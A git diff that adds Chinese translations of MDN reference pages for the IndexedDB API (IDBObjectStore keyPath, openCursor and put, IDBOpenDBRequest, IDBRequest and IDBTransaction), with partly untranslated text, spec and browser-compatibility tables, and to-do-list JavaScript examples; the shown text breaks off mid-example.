+ + diff --git a/files/zh-cn/web/api/idbobjectstore/keypath/index.html b/files/zh-cn/web/api/idbobjectstore/keypath/index.html new file mode 100644 index 0000000000..e99f1ae519 --- /dev/null +++ b/files/zh-cn/web/api/idbobjectstore/keypath/index.html @@ -0,0 +1,115 @@ +--- +title: IDBObjectStore.keyPath +slug: Web/API/IDBObjectStore/keyPath +translation_of: Web/API/IDBObjectStore/keyPath +--- +

{{ APIRef("IndexedDB") }}

+ +
+

{{domxref("IDBObjectStore")}}的只读属性keyPath接口返回当前objectStore的key path

+ +

什么是keyPath呢?在indexedDB中,一条记录就是一个object,object里面有一个属性作为这条记录的主要依据用来进行查询,而这个属性的属性名就是keyPath,属性值就是key。在用indexedDB的get方法时,提供key,而不需要指定keyPath,因为get方法把参数作为这个最主要的属性的值,在数据库中进行查询。(译者注)

+ +

如果该属性值为null,应用中必须在每一次进行修改性质的操作时提供一个key。

+ +

add、put方法都可以传第二个参数,当你当前的objectStore的autoIncrement为true时,你一般不会设置keyPath,如果这个时候你在put的时候不提供第二个参数,indexedDB就不知道要更新哪一条记录了。(译者注)

+
+ +

{{AvailableInWorkers}}

+ +

句法

+ +
var mykeyPath = objectStore.keyPath;
+ +

Value

+ +

任何类型。

+ +

例子

+ +

在下面代码片段中,我们在数据库里打开了一个可读写的事务(transaction),并且用add()向一个objectStore中添加了一些数据。在objectStore被创建之后,我们在console中打印了objectStore.keyPath的值。想查看完整的例子,请查看我们的To-do Notifications应用(查看在线例子)。

+ +
// Let us open our database
+var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+DBOpenRequest.onsuccess = function(event) {
+  note.innerHTML += '<li>Database initialised.</li>';
+
+  // store the result of opening the database in the db variable.
+  // This is used a lot below
+  db = DBOpenRequest.result;
+
+  // Run the addData() function to add the data to the database
+  addData();
+};
+
+function addData() {
+  // Create a new object ready to insert into the IDB
+  var newItem = [ { taskTitle: "Walk dog", hours: 19, minutes: 30, day: 24, month: "December", year: 2013, notified: "no" } ];
+
+  // open a read/write db transaction, ready for adding the data
+  var transaction = db.transaction(["toDoList"], "readwrite");
+
+  // report on the success of the transaction completing, when everything is done
+  transaction.oncomplete = function(event) {
+    note.innerHTML += '<li>Transaction completed.</li>';
+  };
+
+  transaction.onerror = function(event) {
+  note.innerHTML += '<li>Transaction not opened due to error. Duplicate items not allowed.</li>';
+  };
+
+  // create an object store on the transaction
+  var objectStore = transaction.objectStore("toDoList");
+  console.log(objectStore.keyPath);
+
+  // Make a request to add our newItem object to the object store
+  var objectStoreRequest = objectStore.add(newItem[0]);
+
+  objectStoreRequest.onsuccess = function(event) {
+    // report the success of our request
+    note.innerHTML += '<li>Request successful.</li>';
+  };
+};
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('IndexedDB', '#widl-IDBObjectStore-keyPath', 'keyPath')}}{{Spec2('IndexedDB')}} 
{{SpecName("IndexedDB 2", "#dom-idbobjectstore-keypath", "keyPath")}}{{Spec2("IndexedDB 2")}} 
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.IDBObjectStore.keyPath")}}

+
+ +

相关内容

+ + diff --git a/files/zh-cn/web/api/idbobjectstore/opencursor/index.html b/files/zh-cn/web/api/idbobjectstore/opencursor/index.html new file mode 100644 index 0000000000..764582ad9a --- /dev/null +++ b/files/zh-cn/web/api/idbobjectstore/opencursor/index.html @@ -0,0 +1,171 @@ +--- +title: IDBObjectStore.openCursor +slug: Web/API/IDBObjectStore/openCursor +translation_of: Web/API/IDBObjectStore/openCursor +--- +

{{ APIRef("IDBObjectStore") }}

+ +
+

{{domxref("IDBObjectStore")}} 的 openCursor() 方法 返回一个{{domxref("IDBRequest")}} 对象,并在一个单独的线程中,返回一个新的 {{domxref("IDBCursorWithValue")}} 对象。此方法目的是用一个游标来遍历一个对象存储空间。

+
+ +

若要确认此操作是否成功完成,请监听结果的 success 事件。

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
var request = ObjectStore.openCursor(query, direction);
+ +

参数

+ +
+
query {{optional_inline}}
+
要查询的键或者 {{domxref("IDBKeyRange")}} 。如果传一个有效的键,则会默认为只包含此键的范围。如果此参数不传值,则默认为一个选择了该对象存储空间全部记录的键范围。
+
direction {{optional_inline}}
+
一个 {{domxref("IDBCursorDirection")}} 来告诉游标要移动的方向。有效的值有 "next" 、"nextunique" 、"prev" 和 "prevunique"。默认值是 "next"
+
+ +

返回

+ +

一个 {{domxref("IDBRequest")}} 对象,在此对象上触发与此操作相关的后续事件。

+ +

异常

+ +

此方法可能引起以下类型之一的 {{domxref("DOMException")}} :

+ + + + + + + + + + + + + + + + + + + + + + +
异常描述
InvalidStateError此 {{domxref("IDBObjectStore")}} 或{{domxref("IDBIndex")}} 已被删除。
TransactionInactiveError此 {{domxref("IDBObjectStore")}} 的事务处于非活动状态。
DataError指定的键或键范围无效。
+ +

例子

+ +

在下面这个简单的片段中,我们创建一个事务,检索一个对象存储空间,然后用一个游标去遍历该对象存储空间的所有记录:

+ +
var transaction = db.transaction("name", "readonly");
+var objectStore = transaction.objectStore("name");
+var request = objectStore.openCursor();
+request.onsuccess = function(event) {
+  var cursor = event.target.result;
+  if(cursor) {
+    // cursor.value 包含正在被遍历的当前记录
+    // 这里你可以对 result 做些什么
+    cursor.continue();
+  } else {
+    // 没有更多 results
+  }
+};
+
+
+ +

规范 

+ +
+
+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('IndexedDB', '#widl-IDBIndex-openCursor-IDBRequest-any-range-IDBCursorDirection-direction', 'openCursor()')}}{{Spec2('IndexedDB')}} 
{{SpecName("IndexedDB 2", "#dom-idbobjectstore-opencursor", "openCursor()")}}{{Spec2("IndexedDB 2")}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support23{{property_prefix("webkit")}}
+ 24
10 {{property_prefix("moz")}}
+ {{CompatGeckoDesktop("16.0")}}
10, partial157.1
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support4.4{{CompatGeckoMobile("22.0")}}1.0.11022{{CompatNo}}
+
+ +

另请参阅

+ + diff --git a/files/zh-cn/web/api/idbobjectstore/put/index.html b/files/zh-cn/web/api/idbobjectstore/put/index.html new file mode 100644 index 0000000000..368ea1d9a5 --- /dev/null +++ b/files/zh-cn/web/api/idbobjectstore/put/index.html @@ -0,0 +1,163 @@ +--- +title: IDBObjectStore.put() +slug: Web/API/IDBObjectStore/put +translation_of: Web/API/IDBObjectStore/put +--- +

{{ APIRef("IndexedDB") }}

+ +
+

 {{domxref("IDBObjectStore")}} 接口的  put() 方法更新一条给定的数据库记录,如果给出的值不存在,则插入一个新的记录

+ +

它返回一个 {{domxref("IDBRequest")}} 对象,并且在一个单独的线程 ,创建一个值的 structured clone ,并且把它的值储存在对象仓库(object store)中. 当事务的模式是readwrite时,这个方法用来添加新的记录,或者更新一条对象仓库(object store)中已存在的记录 . 如果记录被成功储存, then a success event is fired on the returned request object with the result set to the key for the stored record, and the transaction set to the transaction in which this object store is opened.

+
+ +

put方法是一个插入或更新对象仓库的方法. 参考仅用于插入的方法 {{domxref("IDBObjectStore.add")}} 方法.

+ +

谨记,如果你有一条 {{domxref("cursor","IDBCursor")}} 记录想要更新, 使用{{domxref("IDBCursor.update()")}} 方法更新,比 {{domxref("IDBObjectStore.put()")}} 方法更合适. 这样做可以清楚地表明将更新现有记录,而不是插入新记录.

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
var request = objectStore.put(item);
+var request = objectStore.put(item, key);
+ +

参数

+ +
+
item
+
你想要更新 (或插入)的记录.
+
key {{optional_inline}}
+
你想要更新记录的主键 (e.g. from {{domxref("IDBCursor.primaryKey")}}). This is only needed for object stores that have an autoIncrement primary key, therefore the key is not in a field on the record object. In such cases, calling put(item) will always insert a new record, because it doesn't know what existing record you might want to modify.
+
+ +

返回值

+ +

一个 {{domxref("IDBRequest")}} 对象 ,在该对象上触发与此操作相关的后续事件。

+ +

异常

+ +

This method may raise a {{domxref("DOMException")}} of one of the following types:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ExceptionDescription
ReadOnlyErrorThe transaction associated with this operation is in read-only mode.
TransactionInactiveErrorThis {{domxref("IDBObjectStore")}}'s transaction is inactive.
DataError +

Any of the following conditions apply:

+ +
    +
  • The object store uses in-line keys or has a key generator, and a key parameter was provided.
  • +
  • The object store uses out-of-line keys and has no key generator, and no key parameter was provided.
  • +
  • The object store uses in-line keys but no key generator, and the object store's key path does not yield a valid key.
  • +
  • The key parameter was provided but does not contain a valid key.
  • +
+
InvalidStateErrorThe {{domxref("IDBObjectStore")}} has been deleted or removed.
DataCloneErrorThe data being stored could not be cloned by the internal structured cloning algorithm.
+  
+ +

参数

+ +
+
value
+
被储存的值.
+
key
+
识别记录的键. 如果没有声明,那么记录键值将为空. 如果对象仓库有一个键生成器(e.g. autoincrement) ,必须传入key来更新对象.
+
+ +

Example

+ +

The following example requests a given record title; when that request is successful the onsuccess function gets the associated record from the {{domxref("IDBObjectStore")}} (made available as objectStoreTitleRequest.result), updates one property of the record, and then puts the updated record back into the object store in another request with put(). For a full working example, see our To-do Notifications app (view example live.)

+ +
var title = "Walk dog";
+
+// Open up a transaction as usual
+var objectStore = db.transaction(['toDoList'], "readwrite").objectStore('toDoList');
+
+// Get the to-do list object that has this title as it's title
+var objectStoreTitleRequest = objectStore.get(title);
+
+objectStoreTitleRequest.onsuccess = function() {
+  // Grab the data object returned as the result
+  var data = objectStoreTitleRequest.result;
+
+  // Update the notified value in the object to "yes"
+  data.notified = "yes";
+
+  // Create another request that inserts the item back into the database
+  var updateTitleRequest = objectStore.put(data);
+
+  // Log the transaction that originated this request
+  console.log("The transaction that originated this request is " + updateTitleRequest.transaction);
+
+  // When this new request succeeds, run the displayData() function again to update the display
+  updateTitleRequest.onsuccess = function() {
+    displayData();
+  };
+};
+ +

Specification

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('IndexedDB', '#widl-IDBObjectStore-put-IDBRequest-any-value-any-key', 'put()')}}{{Spec2('IndexedDB')}}
{{SpecName("IndexedDB 2", "#dom-idbobjectstore-put", "put()")}}{{Spec2("IndexedDB 2")}}
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.IDBObjectStore.put")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/idbopendbrequest/index.html b/files/zh-cn/web/api/idbopendbrequest/index.html new file mode 100644 index 0000000000..5a086251b4 --- /dev/null +++ b/files/zh-cn/web/api/idbopendbrequest/index.html @@ -0,0 +1,125 @@ +--- +title: IDBOpenDBRequest +slug: Web/API/IDBOpenDBRequest +translation_of: Web/API/IDBOpenDBRequest +--- +

{{APIRef("IndexedDB")}}

+ +
+

IndexedDB API 的 IDBOpenDBRequest 接口提供了访问打开或删除数据库的请求的结果(通过调用 {{domxref("IDBFactory.open")}} and {{domxref("IDBFactory.deleteDatabase")}}),途径就是使用特殊的事件处理器属性。

+
+ +

{{AvailableInWorkers}}

+ +

{{InheritanceDiagram}}

+ +

Properties

+ +

Also inherits methods from its parents {{domxref("IDBRequest")}} and {{domxref("EventTarget")}}.

+ +

Events

+ +
+
{{domxref("IDBOpenDBRequest.onblocked")}}
+
The event handler for the blocked event. This event is triggered when the upgradeneeded event should be triggered because of a version change but the database is still in use (i.e. not closed) somewhere, even after the versionchange event was sent.
+
{{domxref("IDBOpenDBRequest.onupgradeneeded")}}
+
upgradeneeded 事件的事件处理器,会在当一个数据库的版本比已经存在的版本还高的时候触发。
+
+

Methods

+ +

No methods, but inherits methods from its parents {{domxref("IDBRequest")}} and {{domxref("EventTarget")}}.

+
+
+ +

Example

+ +

In the following example you can see the onupgradeneeded handler being used to update the database structure if a database with a higher version number is loaded. For a full working example, see our To-do Notifications app (view example live.)

+ +
var db;
+
+// Let us open our database
+var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+// these event handlers act on the database being opened.
+DBOpenRequest.onerror = function(event) {
+  note.innerHTML += '<li>Error loading database.</li>';
+};
+
+DBOpenRequest.onsuccess = function(event) {
+  note.innerHTML += '<li>Database initialised.</li>';
+
+  // store the result of opening the database in the db
+  // variable. This is used a lot below
+  db = DBOpenRequest.result;
+
+  // Run the displayData() function to populate the task
+  // listwith all the to-do list data already in the IDB
+  displayData();
+};
+
+// This event handles the event whereby a new version of
+// the database needs to be created Either one has not
+// been created before, or a new version number has been
+// submitted via the window.indexedDB.open line above
+// it is only implemented in recent browsers
+DBOpenRequest.onupgradeneeded = function(event) {
+  var db = this.result;
+
+  db.onerror = function(event) {
+    note.innerHTML += '<li>Error loading database.</li>';
+  };
+
+  // Create an objectStore for this database
+  var objectStore = db.createObjectStore("toDoList", { keyPath: "taskTitle" });
+
+  // define what data items the objectStore will contain
+
+  objectStore.createIndex("hours", "hours", { unique: false });
+  objectStore.createIndex("minutes", "minutes", { unique: false });
+  objectStore.createIndex("day", "day", { unique: false });
+  objectStore.createIndex("month", "month", { unique: false });
+  objectStore.createIndex("year", "year", { unique: false });
+  objectStore.createIndex("notified", "notified", { unique: false });
+};
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('IndexedDB', '#idl-def-IDBOpenDBRequest', 'IDBOpenDBRequest')}}{{Spec2('IndexedDB')}}Initial definition
{{SpecName("IndexedDB 2", "#idbopendbrequest", "IDBOpenDBRequest")}}{{Spec2("IndexedDB 2")}} 
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.IDBOpenDBRequest")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/idbrequest/index.html b/files/zh-cn/web/api/idbrequest/index.html new file mode 100644 index 0000000000..9ce7a57e72 --- /dev/null +++ b/files/zh-cn/web/api/idbrequest/index.html @@ -0,0 +1,230 @@ +--- +title: IDBRequest +slug: Web/API/IDBRequest +translation_of: Web/API/IDBRequest +--- +
+

{{APIRef("IndexedDB")}}

+
+ +
IndexedDB api中的IDBRequest接口提供了根据绑定事件处理函数访问结果集的方法。其中结果集来自对数据库和数据库对象发起的异步查询。对数据库的读写操作都是通过request的方式来实现。
+ +
 
+ +

该request对象初始时不包括任何关于操作结果的信息,当request上的事件触发时,可以通过IDBRequest实例上的事件处理函数访问相关信息。

+ +

继承自: EventTarget

+ +

About this document

+ +

This document was last updated on August 17, 2012 and follows the W3C Specifications (Editor's Draft) drafted on July 24, 2012. It has not yet been verified.

+ +

基础概念

+ +

所有异步操作立即返回一个IDBRequest实例。每一个请求都有一个readyState属性,初始时为pending,当请求完成或失败的时候,readyState会变为done。当状态值变为done时,每一个请求都会返回result和error属性,并且会触发一个事件。当状态保持为pending时,任何尝试访问result或error属性的行为会触发一个InvalidStateError异常。

+ +

用直白的话来说就是:所有的异步方法返回一个request对象。如果request对象成功执行了,结果可以通过result属性访问到,并且该request对象上会触发success事件。如果操作中有错误发生,一个error事件会触发,并且会通过result属性抛出一个异常。

+ +

示例

+ +

下面的代码片段中,我们异步打开一个数据库并且发起一个请求。注册了几个事件处理函数来展示不同的情况。

+ +
var request = window.indexedDB.open('数据库名称');
+request.onsuccess = function(event) {
+        var db = this.result;
+        var transaction = db.transaction([]);
+// "readonly" is the default option;
+// when data will be added to the database use "readwrite".
+        var curRequest = transaction.objectStore('ObjectStore Name').openCursor();
+        curRequest.onsuccess = ...;
+    };
+request.onerror = function(event) {
+         ...;
+    };
+request.onupgradeneeded= function(event) {
+         // changing objectStore data is done here, as opposed to a transaction enum:
+         ...;
+    };
+
+ +

Attributes

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
AttributeTypeDescription
resultreadonly any +

Returns the result of the request.

+ +

If the the request failed and the result is not available, the InvalidStateError exception is thrown.

+
errorreadonly DOMError +

The following error codes are returned under certain conditions:

+ +
    +
  • AbortError — If you abort the transaction, then all requests still in progress receive this error.
  • +
  • ConstraintError — If you insert data that doesn't conform to a constraint. It's an exception type for creating stores and indexes. You get this error, for example, if you try to add a new key that already exists in the record.
  • +
  • QuotaExceededError — If you run out of disk quota and the user declined to grant you more space.
  • +
  • UnknownError — If the operation failed for reasons unrelated to the database itself. A failure due to disk IO errors is such an example.
  • +
  • NoError — If the request succeeds.
  • +
  • VersionError — If you try to open a database with a version lower than the one it already has.
  • +
+ +

In addition to the error codes sent to the IDBRequest object, asynchronous operations can also raise exceptions. The list describes problems that could occur when the request is being executed, but you might also encounter other problems when the request is being made. For example, if the the request failed and the result is not available, the InvalidStateError exception is thrown.

+
sourcereadonly Object +

The source of the request, such as an Index or a ObjectStore. If no source exists (such as when calling indexedDB.open()), it returns null.

+
transactionreadonly IDBTransactionThe transaction for the request. This property can be null for certain requests, such as for request returned from IDBFactory.open (You're just connecting to a database, so there is no transaction to return).
readyStatereadonly enum +

The state of the request. Every request starts in the pending state. The state changes to done when the request completes successfully or when an error occurs.

+
onerrorFunction The event handler for the error event.
onsuccessFunction The event handler for the success event.
+ +

Constants

+ +

readyState constants

+ +
{{ obsolete_header(25) }}
+ +
+

These constants are no longer available. You should use directly the string constants instead. ({{ bug(887524) }})

+
+ + + + + + + + + + + + + + + + + + + + + +
ConstantValueDescription
DONE"done"The request has completed or an error has occurred. Initially false
LOADING"pending"The request has been started, but its result is not yet available.
+ +

Event handlers

+ + + + + + + + + + + + + + + + + + +
Event handlerEvent handler type
onerror error
onsuccess success
+ + +

Derived interface

+ + + +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support12 {{ property_prefix("-webkit") }}{{ CompatGeckoDesktop("2.0") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatGeckoMobile("6.0") }}{{ CompatUnknown() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +

 

diff --git a/files/zh-cn/web/api/idbtransaction/complete_event/index.html b/files/zh-cn/web/api/idbtransaction/complete_event/index.html new file mode 100644 index 0000000000..d3767e086e --- /dev/null +++ b/files/zh-cn/web/api/idbtransaction/complete_event/index.html @@ -0,0 +1,124 @@ +--- +title: 'IDBTransaction: complete event' +slug: Web/API/IDBTransaction/complete_event +translation_of: Web/API/IDBTransaction/complete_event +--- +
{{APIRef("IndexedDB")}}
+ +

The complete handler is executed when a transaction successfully completed.

+ + + + + + + + + + + + + + + + + + + + +
BubblesNo
CancelableNo
Interface{{DOMxRef("Event")}}
Event handler property{{DOMxRef("IDBTransaction.oncomplete", "oncomplete")}}
+ +

Examples

+ +

Using {{DOMxRef("EventTarget.addEventListener", "addEventListener()")}}:

+ +
// Open the database
+const DBOpenRequest = window.indexedDB.open('toDoList', 4);
+
+DBOpenRequest.onupgradeneeded = event => {
+  const db = event.target.result;
+
+  db.onerror = () => {
+    console.log('Error creating database');
+  };
+
+  // Create an objectStore for this database
+  var objectStore = db.createObjectStore('toDoList', { keyPath: 'taskTitle' });
+
+  // define what data items the objectStore will contain
+  objectStore.createIndex('hours', 'hours', { unique: false });
+  objectStore.createIndex('minutes', 'minutes', { unique: false });
+  objectStore.createIndex('day', 'day', { unique: false });
+  objectStore.createIndex('month', 'month', { unique: false });
+  objectStore.createIndex('year', 'year', { unique: false });
+};
+
+DBOpenRequest.onsuccess = event => {
+  const db = DBOpenRequest.result;
+
+  // open a read/write db transaction, ready for adding the data
+  const transaction = db.transaction(['toDoList'], 'readwrite');
+
+  // add a listener for `complete`
+  transaction.addEventListener('complete', event => {
+    console.log('Transaction was competed');
+  });
+
+  const objectStore = transaction.objectStore('toDoList');
+  const newItem = { taskTitle: 'my task', hours: 10, minutes: 10, day: 10, month: 'January', year: 2019 };
+  const objectStoreRequest = objectStore.add(newItem);
+};
+
+
+ +

Using the {{DOMxRef("IDBTransaction.oncomplete", "oncomplete")}} property:

+ +
// Open the database
+const DBOpenRequest = window.indexedDB.open('toDoList', 4);
+
+DBOpenRequest.onupgradeneeded = event => {
+  const db = event.target.result;
+
+  db.onerror = () => {
+    console.log('Error creating database');
+  };
+
+  // Create an objectStore for this database
+  var objectStore = db.createObjectStore('toDoList', { keyPath: 'taskTitle' });
+
+  // define what data items the objectStore will contain
+  objectStore.createIndex('hours', 'hours', { unique: false });
+  objectStore.createIndex('minutes', 'minutes', { unique: false });
+  objectStore.createIndex('day', 'day', { unique: false });
+  objectStore.createIndex('month', 'month', { unique: false });
+  objectStore.createIndex('year', 'year', { unique: false });
+};
+
+DBOpenRequest.onsuccess = event => {
+  const db = DBOpenRequest.result;
+
+  // open a read/write db transaction, ready for adding the data
+  const transaction = db.transaction(['toDoList'], 'readwrite');
+
+  // add a listener for `complete`
+  transaction.oncomplete = event => {
+    console.log('Transaction was competed');
+  };
+
+  const objectStore = transaction.objectStore('toDoList');
+  const newItem = { taskTitle: 'my task', hours: 10, minutes: 10, day: 10, month: 'January', year: 2019 };
+  const objectStoreRequest = objectStore.add(newItem);
+};
+ +

Browser compatibility

+ + + +

{{Compat("api.IDBTransaction.complete_event")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/idbtransaction/db/index.html b/files/zh-cn/web/api/idbtransaction/db/index.html new file mode 100644 index 0000000000..d281a22ed6 --- /dev/null +++ b/files/zh-cn/web/api/idbtransaction/db/index.html @@ -0,0 +1,112 @@ +--- +title: IDBTransaction.db +slug: Web/API/IDBTransaction/db +translation_of: Web/API/IDBTransaction/db +--- +

{{ APIRef("IndexedDB") }}

+ +
+

{{domxref("IDBTransaction")}} 的只读属性接口 db。返回该事务所属的数据库连接。

+ +

{{AvailableInWorkers}}

+
+ +

语法

+ +
var myDatabase = transaction.db;
+ +

+ +

一个 {{domxref("IDBDatabase")}} 对象。

+ +

Example

+ +

In the following code snippet, we open a read/write transaction on our database and add some data to an object store. Note also the functions attached to transaction event handlers to report on the outcome of the transaction opening in the event of success or failure. At the end, we return the associated database connection using db. For a full working example, see our To-do Notifications app (view example live.)

+ +
// Let us open our database
+var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+DBOpenRequest.onsuccess = function(event) {
+  note.innerHTML += '<li>Database initialised.</li>';
+
+  // store the result of opening the database in the db variable.
+  // This is used a lot below
+  db = DBOpenRequest.result;
+
+  // Run the addData() function to add the data to the database
+  addData();
+};
+
+function addData() {
+  // Create a new object ready for being inserted into the IDB
+  var newItem = [ { taskTitle: "Walk dog", hours: 19, minutes: 30, day: 24, month: "December", year: 2013, notified: "no" } ];
+
+  // open a read/write db transaction, ready for adding the data
+  var transaction = db.transaction(["toDoList"], "readwrite");
+
+  // report on the success of opening the transaction
+  transaction.oncomplete = function(event) {
+    note.innerHTML += '<li>Transaction completed: database modification finished.</li>';
+  };
+
+  transaction.onerror = function(event) {
+    note.innerHTML += '<li>Transaction not opened due to error. Duplicate items not allowed.</li>';
+  };
+
+  // create an object store on the transaction
+  var objectStore = transaction.objectStore("toDoList");
+
+  // add our newItem object to the object store
+  var objectStoreRequest = objectStore.add(newItem[0]);
+
+  objectStoreRequest.onsuccess = function(event) {
+    // report the success of the request (this does not mean the item
+    // has been stored successfully in the DB - for that you need transaction.onsuccess)
+    note.innerHTML += '<li>Request successful.</li>';
+  };
+
+  // Return the database (IDBDatabase) connection with which this transaction is associated
+  transaction.db;
+};
+ +

Specification

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('IndexedDB', '#widl-IDBTransaction-db', 'db')}}{{Spec2('IndexedDB')}} 
{{SpecName("IndexedDB 2", "#dom-idbtransaction-db", "db")}}{{Spec2("IndexedDB 2")}} 
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.IDBTransaction.db")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/idbtransaction/index.html b/files/zh-cn/web/api/idbtransaction/index.html new file mode 100644 index 0000000000..d1e5798e84 --- /dev/null +++ b/files/zh-cn/web/api/idbtransaction/index.html @@ -0,0 +1,278 @@ +--- +title: IDBTransaction +slug: Web/API/IDBTransaction +translation_of: Web/API/IDBTransaction +--- +

{{APIRef("IndexedDB")}}

+ +
+

IDBTransacation接口由IndexedDB API提供,异步事务使用数据库中的事件对象属性。所有的读取和写入数据均在事务中完成。由{{domxref("IDBDatabase")}}发起事务,通过{{domxref("IDBTransaction")}} 来设置事务的模式(例如:是否只读readonly或读写readwrite),以及通过{{domxref("IDBObjectStore")}}来发起一个请求。同时你也可以使用它来中止事务。

+
+ +

Note that as of Firefox 40, IndexedDB transactions have relaxed durability guarantees to increase performance (see {{Bug("1112702")}}.) Previously in a readwrite transaction {{domxref("IDBTransaction.oncomplete")}} was fired only when all data was guaranteed to have been flushed to disk. In Firefox 40+ the complete event is fired after the OS has been told to write the data but potentially before that data has actually been flushed to disk. The complete event may thus be delivered quicker than before, however, there exists a small chance that the entire transaction will be lost if the OS crashes or there is a loss of system power before the data is flushed to disk. Since such catastrophic events are rare most consumers should not need to concern themselves further.

+ +

If you must ensure durability for some reason (e.g. you're storing critical data that cannot be recomputed later) you can force a transaction to flush to disk before delivering the complete event by creating a transaction using the experimental (non-standard) readwriteflush mode (see {{domxref("IDBDatabase.transaction")}}.

+ +

注意,事务在被创建的时候就已经开始,并非在发起第一个请求(IDBRequest)的时候。例如下面的例子:

+ +
var trans1 = db.transaction("foo", "readwrite");
+var trans2 = db.transaction("foo", "readwrite");
+var objectStore2 = trans2.objectStore("foo")
+var objectStore1 = trans1.objectStore("foo")
+objectStore2.put("2", "key");
+objectStore1.put("1", "key");
+
+ +

在代码执行后,object store 应该包含值 "2", 因为 trans2 应该在 trans1 之后执行。

+ +

Transactions can fail for a fixed number of reasons, all of which (except the user agent crash) will trigger an abort callback:

+ + + +

 

+ +

{{AvailableInWorkers}}

+ +

{{InheritanceDiagram}}

+ +

属性

+ +
+
{{domxref("IDBTransaction.db")}} {{readonlyInline}}
+
当前事务所属的数据库连接。
+
{{domxref("IDBTransaction.error")}} {{readonlyInline}}
+
Returns a {{domxref("DOMException")}} indicating the type of error that occured when there is an unsuccessful transaction. This property is null if the transaction is not finished, is finished and successfully committed, or was aborted with {{domxref("IDBTransaction.abort")}} function.
+
{{domxref("IDBTransaction.mode")}} {{readonlyInline}}
+
用于隔离事务作用域内的object store中数据访问的模式。下方的常量章节给出了所有可用的值。默认值是 readonly.
+
{{domxref("IDBTransaction.objectStoreNames")}} {{readonlyinline}}
+
Returns a {{domxref("DOMStringList")}} of the names of {{domxref("IDBObjectStore")}} objects.
+
+ +

Event handlers

+ +
+
{{domxref("IDBTransaction.onabort")}} {{readonlyInline}}
+
The event handler for the abort event, fired when the transaction is aborted. This can happen due to: +
    +
  • bad requests, e.g. trying to add() the same key twice, or put() with the same index key with a uniqueness constraint and there is no error handler on the request to call preventDefault() on the event,
  • +
  • an explicit abort() call from script
  • +
  • uncaught exception in request's success/error handler,
  • +
  • an I/O error (actual failure to write to disk, e.g. disk detached, or other OS/hardware failure), or
  • +
  • quota exceeded.
  • +
+
+
{{domxref("IDBTransaction.oncomplete")}} {{readonlyInline}}
+
The event handler for the complete event, thrown when the transaction completes successfully.
+
{{domxref("IDBTransaction.onerror")}} {{readonlyInline}}
+
The event handler for the error event, thrown when the transaction fails to complete.
+
+ +

方法

+ +

从{{domxref("EventTarget")}}继承

+ +
+
{{domxref("IDBTransaction.abort")}}
+
放弃本次连接的transaction的所有修改,如果当前的transaction处于回滚完毕或完成状态,则会抛出一个错误事件。
+
{{domxref("IDBTransaction.objectStore")}}
+
返回表示作为此事务作用域一部分的object store的 {{domxref("IDBObjectStore")}} 对象。
+
+ +

模式常量

+ +
{{ obsolete_header(25) }}
+ +
+

这些常量将不再可用——它们在Gecko 25中被移除。 你应该直接使用字符串常量来作为替代。 ({{ bug(888598) }})

+
+ +

Transactions 可使用以下三种模式中的一种:

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
常量描述
READ_ONLY +

"readonly"

+ +

(0 in Chrome)

+
+

允许读取数据,不改变。

+
READ_WRITE +

"readwrite"

+ +

(1 in Chrome)

+
+
允许读取和写入现有数据存储,数据被改变。
+
VERSION_CHANGE +

"versionchange"

+ +

(2 in Chrome)

+
允许执行任何操作,包括删除和创建对象存储和索引。
+ 此模式是用于开始使用IDBDatabasesetVersion()方法更新版本号事务。 这种模式的事务无法与其它事务并发运行。
+ 这种模式下的事务被称为“升级事务”。
+ +

即使目前这些常量已经被废弃,但如果你需要使用它,则需要提供向下兼容方案(in Chrome the change was made in version 21)。你应当防止出现对象不存在的情况:

+ +
var myIDBTransaction = window.IDBTransaction || window.webkitIDBTransaction || { READ_WRITE: "readwrite" };
+ +

Example

+ +

In the following code snippet, we open a read/write transaction on our database and add some data to an object store. Note also the functions attached to transaction event handlers to report on the outcome of the transaction opening in the event of success or failure. For a full working example, see our To-do Notifications app (view example live.)

+ +
// Let us open our database
+var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+DBOpenRequest.onsuccess = function(event) {
+  note.innerHTML += '<li>Database initialised.</li>';
+
+  // store the result of opening the database in the db variable. This is used a lot below
+  db = DBOpenRequest.result;
+
+  // Run the addData() function to add the data to the database
+  addData();
+};
+
+function addData() {
+  // Create a new object ready for being inserted into the IDB
+  var newItem = [ { taskTitle: "Walk dog", hours: 19, minutes: 30, day: 24, month: "December", year: 2013, notified: "no" } ];
+
+  // open a read/write db transaction, ready for adding the data
